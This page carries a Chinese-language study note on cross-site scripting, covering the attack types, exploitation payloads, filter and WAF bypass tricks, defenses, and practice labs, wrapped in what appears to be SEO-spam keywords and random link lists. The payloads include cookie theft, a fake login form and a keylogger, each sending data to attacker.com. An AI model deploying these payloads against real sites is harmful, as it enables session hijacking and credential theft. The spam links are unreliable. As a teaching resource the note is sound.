当前位置: 首页 > wzjs >正文

郑州建设网站哪家好计算机应用软件开发流程图

郑州建设网站哪家好,计算机应用软件开发流程图,网店美工课本,c#网站开发案例大全XSS漏洞学习笔记 1. XSS漏洞基础 1.1 定义 跨站脚本攻击(Cross-Site Scripting,XSS)允许攻击者将恶意脚本注入到网页中,当其他用户访问时触发脚本执行,常用于窃取用户会话(Cookie)、钓鱼攻击、…

XSS漏洞学习笔记


1. XSS漏洞基础

1.1 定义

跨站脚本攻击(Cross-Site Scripting,XSS)允许攻击者将恶意脚本注入到网页中,当其他用户访问时触发脚本执行,常用于窃取用户会话(Cookie)、钓鱼攻击、键盘记录等。

1.2 漏洞成因

  • 未过滤用户输入:用户输入的数据被直接输出到页面。

  • 输出未编码:动态生成的页面未对特殊字符(如 <, >, &)进行转义。


2. XSS分类

2.1 反射型XSS(Reflected XSS)

  • 特点:恶意脚本通过URL参数注入,受害者点击构造的链接触发。

  • 场景:搜索框、错误页面等直接返回用户输入的内容。

  • 示例

    http://example.com/search?q=<script>alert(1)</script>  

2.2 存储型XSS(Stored XSS)

  • 特点:恶意脚本存储到服务器(如数据库),页面每次加载时自动执行。

  • 场景:留言板、用户昵称、文章评论等持久化数据的位置。

  • 示例

    html

    用户留言:<script>stealCookie()</script>  

    运行 HTML

2.3 DOM型XSS(DOM-based XSS)

  • 特点:漏洞由前端JavaScript动态操作DOM引发,不依赖服务器响应。

  • 场景:通过document.locationwindow.name等获取参数并输出到页面。

  • 示例

    javascript

    // 假设页面代码:  
    document.write("<div>" + location.hash.slice(1) + "</div>");  
    // 攻击URL:  
    http://example.com#<img src=x οnerrοr=alert(1)>  

3. XSS利用方式

3.1 窃取Cookie

  • Payload:

    html

    <script>fetch('http://attacker.com/?cookie='+document.cookie)</script>  

    运行 HTML

3.2 钓鱼攻击

  • Payload:

    html

    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white">  <h1>系统升级,请重新登录:</h1>  <form action="http://attacker.com/steal" method="POST">  <input type="text" name="username">  <input type="password" name="password">  </form>  
    </div>  

    运行 HTML

3.3 键盘记录

  • Payload:

    javascript

    document.addEventListener('keypress', (e) => {  fetch('http://attacker.com/log?key=' + e.key);  
    });  

3.4 绕过CSP(Content Security Policy)

  • 利用外部域名:若CSP允许unsafe-inline或特定域名,引入外部脚本:

    html

    <script src="http://attacker.com/malicious.js"></script>  

    运行 HTML

  • JSONP劫持:利用网站开放的JSONP接口窃取数据。


4. XSS绕过技巧

4.1 基础绕过

  • 闭合标签

    html

    "><script>alert(1)</script>  

    运行 HTML

  • 事件处理器

    html

    <img src=x οnerrοr=alert(1)>  
    <svg/οnlοad=alert(1)>  

    运行 HTML

  • 伪协议

    html

    <a href="javascript:alert(1)">点击</a>  

    运行 HTML

4.2 编码混淆

  • HTML实体编码

    html

    <img src=x οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">  

    运行 HTML

  • Unicode编码

    javascript

    <script>\u0061\u006c\u0065\u0072\u0074(1)</script>  
  • Base64编码(需配合data:协议):

    html

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>  

    运行 HTML

4.3 绕过WAF/过滤器

  • 拆分关键字

    javascript

    <scr<script>ipt>alert(1)</scr</script>ipt>  
  • 利用JavaScript函数

    javascript

    eval('al' + 'ert(1)');  
    String.fromCharCode(97,108,101,114,116,40,49,41); // alert(1)  
  • 利用HTML标签属性

    html

    <input type="text" value="" autofocus οnfοcus=alert(1)>  

    运行 HTML

4.4 高级绕过技巧

  • 模板字符串注入(针对Node.js应用):

    javascript

    `${alert(1)}`  
  • Shadow DOM

    html

    <div><template shadowroot="open"><script>alert(1)</script></template></div>  

    运行 HTML

  • Service Worker劫持

    javascript

    navigator.serviceWorker.register('malicious-sw.js');  

5. XSS防御方案

5.1 输入验证与过滤

  • 白名单过滤:仅允许特定字符(如字母、数字)。

  • 黑名单过滤:删除或转义 <, >, &, ", ' 等危险字符。

5.2 输出编码

  • HTML实体编码:将 < 转为 <> 转为 >

  • JavaScript编码:使用 \xHH\uXXXX 编码特殊字符。

5.3 安全HTTP头

  • Content Security Policy (CSP)

    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;  
  • HttpOnly Cookie:防止JavaScript读取敏感Cookie。

5.4 框架安全特性

  • React:自动转义JSX中的变量(除非使用dangerouslySetInnerHTML)。

  • Vue{{ data }} 默认转义,v-html 需谨慎使用。


6. 测试工具与资源

6.1 工具

  • Burp Suite:拦截和修改HTTP请求,测试XSS Payload。

  • XSS Hunter:自动化检测XSS漏洞并收集数据。

  • BeEF(Browser Exploitation Framework):浏览器攻击框架。

6.2 靶场推荐

  • PortSwigger XSS Labs:系统化XSS练习环境。

  • DVWA(Damn Vulnerable Web Application)。

  • XSS Challenges(如printenv at xss-quiz.int21h.jp)。


文章转载自:

http://LVuzKGCo.hdhqg.cn
http://7Gp7fYjw.hdhqg.cn
http://YJmBC5CE.hdhqg.cn
http://I9eZdEuw.hdhqg.cn
http://ewjOsSwC.hdhqg.cn
http://TANEE2QT.hdhqg.cn
http://UdM8wYx0.hdhqg.cn
http://6J5jdgJl.hdhqg.cn
http://HmPNqD24.hdhqg.cn
http://uVH7341x.hdhqg.cn
http://fFuf42M3.hdhqg.cn
http://DmIrk8VN.hdhqg.cn
http://kVHboqS2.hdhqg.cn
http://gVe5wF4h.hdhqg.cn
http://nFeUZmcW.hdhqg.cn
http://UIjO0aff.hdhqg.cn
http://5uPbQxW4.hdhqg.cn
http://1uHzgEGN.hdhqg.cn
http://WeahNOth.hdhqg.cn
http://TaQLsEg1.hdhqg.cn
http://rIJDHsEm.hdhqg.cn
http://CAheFOvR.hdhqg.cn
http://pxBqz3vk.hdhqg.cn
http://nQN38ecc.hdhqg.cn
http://6yM6VsvJ.hdhqg.cn
http://cmhFPuQL.hdhqg.cn
http://WmLMbL55.hdhqg.cn
http://lwFMVKTM.hdhqg.cn
http://KqFaaE1Q.hdhqg.cn
http://JjVBHjGL.hdhqg.cn
http://www.dtcms.com/wzjs/631327.html

相关文章:

  • 政务网站建设管理的论文哪个行业最容易做网站
  • 手机版素材网站搜狗首页排名优化
  • 好看的旅游网站模板下载网页设计实训心得200字
  • 空间网站打不开百度网站建设费用怎么做账
  • 湘潭网站seo公司免费动画制作软件
  • 男女直接做免费的网站开发软件下载网站
  • 青岛建设项目环评公示网站专门做试卷的网站
  • 网站开发人才培养目标免费建工作室网站
  • 做植物提取物的专业网站诗词门户网站
  • 建筑公司网站广告宣传语于都做网站
  • 学生怎样做网站百度网盘做存储网站
  • 类似站酷的网站建站聊城做网站的公司精英
  • 东海建设局网站建设网站一般要多久
  • 北京网站建设公司服务哪家好做个平台网站怎么做的
  • 营口建设工程质量监督站网站网站建设 英语
  • 网站优化成本湄洲岛网站建设
  • 做网站都需要具备什么深圳网站系统找哪里
  • 重庆微信网站建设多少钱营销推广活动策划书模板
  • 上海住房和城乡建设部网站首页网站规划的缩略图
  • 淄博淘宝网站建设丹东市住房和城乡建设网站
  • 西南交通建设集团有限公司网站玉环市建设工程检测中心网站
  • 网站 可信验证c2c类型电子商务网站
  • 网站开发华企云商中国建设银行贷款官网站
  • 创建一个网站的费用网站打不开怎么回事
  • 上海信息科技有限公司软件网站开发郴州高新区
  • 深圳建筑设计找工作哪个招聘网站网站建设 尚瑞科技
  • 正规网站建设哪家好怎样创建一个国际网站
  • 泊头公司做网站请人做网站需要多少钱
  • 像乐视做硬件的视频网站吉林市城市建设档案馆官方网站
  • wordpress微信公众号企业版口碑seo推广公司